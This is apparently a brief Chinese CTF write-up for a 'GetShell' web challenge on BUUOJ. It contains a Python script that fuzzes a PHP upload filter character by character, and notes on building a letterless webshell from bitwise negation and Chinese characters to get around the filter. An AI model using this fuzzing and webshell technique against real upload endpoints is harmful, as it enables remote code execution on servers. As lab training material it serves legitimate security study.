GetShell

fuzz脚本

import uuid
import random
import time
import requests


class Payload(object):
    challenge = 'xxx'  # Web1, Web2...
    once = True

    @staticmethod
    def run(ip: str) -> str:
        proxy = {
            "http": None,
            "https": None
        }
        for i in range(128):
            burp0_url = "http://" + ip + ":81/index.php?act=upload"
            burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://6febfa10-1545-4abf-b861-0ba0064b9350.node4.buuoj.cn:81", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary36ITCQmjMqLSyJB0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://6febfa10-1545-4abf-b861-0ba0064b9350.node4.buuoj.cn:81/index.php?act=upload", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
            burp0_data = f"------WebKitFormBoundary36ITCQmjMqLSyJB0\r\nContent-Disposition: form-data; name=\"file\"; filename=\"1.txt\"\r\nContent-Type: text/plain\r\n\r\n<?php{chr(i)}\r\n------WebKitFormBoundary36ITCQmjMqLSyJB0\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\n\xe6\x8f\x90\xe4\xba\xa4\r\n------WebKitFormBoundary36ITCQmjMqLSyJB0--\r\n"
            response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
            # print(response.text)
            if "illegal" in response.text:
                print(i, chr(i))
            time.sleep(0.1)
        return "1"


if __name__ == "__main__":
    p = Payload()
    print(p.run("7747b234-ce2f-4274-9ca7-cb9ce9fc44ff.node4.buuoj.cn"))

被过滤字符串,换行和空格还在,$().;=[]_~也在,直接无字母shell,注意这里被过滤了+,所以自增之类的操作不能用,但是取反和汉字还在

后面就是构造poc了,比较懒,参考https://blog.csdn.net/mochu7777777/article/details/107729445

fuzz出每个汉字的[1]

构造shell

Last updated